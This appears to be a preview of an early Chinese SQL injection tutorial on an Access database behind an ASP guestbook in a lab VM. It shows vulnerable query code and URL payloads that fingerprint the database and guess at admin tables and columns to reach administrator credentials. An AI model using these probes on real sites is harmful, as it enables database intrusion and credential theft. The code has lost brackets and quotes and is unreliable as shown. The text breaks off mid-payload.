- 1、本文档共46页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
Sql注入攻击技术初探
整理:Blackhumor
Site:
2006.6.19完稿
简介:sql注入一般针对基于web平台的应用程序 由于很多时候程序员在编写程序的时候没有对浏览器端提交的参数进行合法的判断,可以由用户自己修改构造参数(也可以是sql查询语句),并传递至服务器端 获取想要的敏感信息甚至执行危险代码和系统命令 就形成了sql注入漏洞,时至今日任然有很大一部分网站存在sql注入漏洞,可想而知sql注入攻击的危害,下面就目前sql注入攻击技术进行总结,让我们更加了解这种攻击与防御方法
access数据库注入攻击技术
目前国内很大一部分网站都是采用asp+access搭建成的
本文演示网站是在虚拟机搭建的一套留言板程序
28:8181/bbs/index.asp(留言板首页)
点击公告连接
此时注意观察地址栏28:8181/bbs/gshow.asp?id=1
Gshow.asp后面跟了一个id参数,其值为数字1, 下面我们来看一下服务器端的gshow.asp中的读取公告内容的代码
% set rs=server.CreateObject(adodb.recordset)
sql=select * from gonggao where id=request.QueryString(id)
rs.open sql,conn,1,3
if rs.eof or rs.bof then
response.write(暂无公告内容)
else
%
div align=center%=rs(titles)%br/
%=rs(content)%%=rs(addtime)%/div
%
end if
rs.close
set rs=nothing
%
可以很明显的看到程序在接收到浏览器端传递过来的id参数时,没有经过任何过滤就直接进入数据接查询了,那么我们怎么来通过这个漏洞来获取我们想要的信息呢,测试之前我们是不知道对方所使用的数据库类型 也不知道数据库里面有哪些表、字段等等(类似black box test),一般情况下asp可以与access和 mssql数据库结合,首先我们来判断一下数据库类型
在id参数后面加上 and exists(select * from msysobjects)
注:mysysobjects是access的系统表
完整的测试语句: 28:8181/bbs/gshow.asp?id=1 and exists(select * from msysobjects)回车提交到服务器端
如图,根据服务器返回结果,(Microsoft JET Database Engine 错误 80040e09不能读取记录;在msysobjects 上没有读取数据权限。/bbs/gshow.asp,行 11) 说明存在msysobjects表,也就是说后台是采用的access数据库(若服务器返回[Microsoft][ODBC SQL Server Driver][SQL Server]对象名 msysobjects 无效。
下面我们来进一步获取我们想要的信息 一般网站重要的信息就是后台管理员登陆帐号密码了,我们提交28:8181/bbs/gshow.asp?id=1 and exists(select * from users) (判断数据库中是否存在users表)
根据图中返回结果提示users表不存在,那么我们继续来提交
28:8181/bbs/gshow.asp?id=1 and exists(select * from admin
服务器端返回的数据和28:8181/bbs/gshow.asp?id=1一样
这是因为参数一起带入数据库里面就变成了select * from gonggao where id=1 and exists(select * from admin) 由于存在admin表条件成立就和select * from gonggao where id=1的查询返回结果一样了,找到了admin表现在就以此类推猜测字段
提交28:8181/bbs/gshow.asp?id=1 and exists(select user from admin)
服务器返回”至少一个参数没有被指定值”说明不存在user字段,继续提交28:8181/bbs/gshow.asp?id=1 and exists
文档评论(0)